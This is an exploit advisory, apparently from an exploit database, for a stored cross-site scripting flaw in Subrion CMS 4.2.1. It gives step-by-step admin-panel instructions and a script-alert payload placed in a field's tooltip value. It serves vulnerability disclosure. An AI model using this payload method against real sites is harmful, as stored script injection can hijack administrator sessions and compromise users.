Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS)

# Exploit Title: Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS)
# Date: 2022-08-10
# Exploit Author: Sinem Şahin
# Vendor Homepage: https://intelliants.com/
# Version: 4.2.1
# Tested on: Windows & XAMPP

==> Tutorial <==

1- Go to the following url. => http://(HOST)/panel/fields/add
2- Write XSS Payload into the tooltip value of the field add page.
3- Press "Save" button.
4- Go to the following url. => http://(HOST)/panel/members/add

XSS Payload ==> "<script>alert("field_tooltip_XSS")</script> 

Reference: ://github.com/intelliants/subrion/issues/895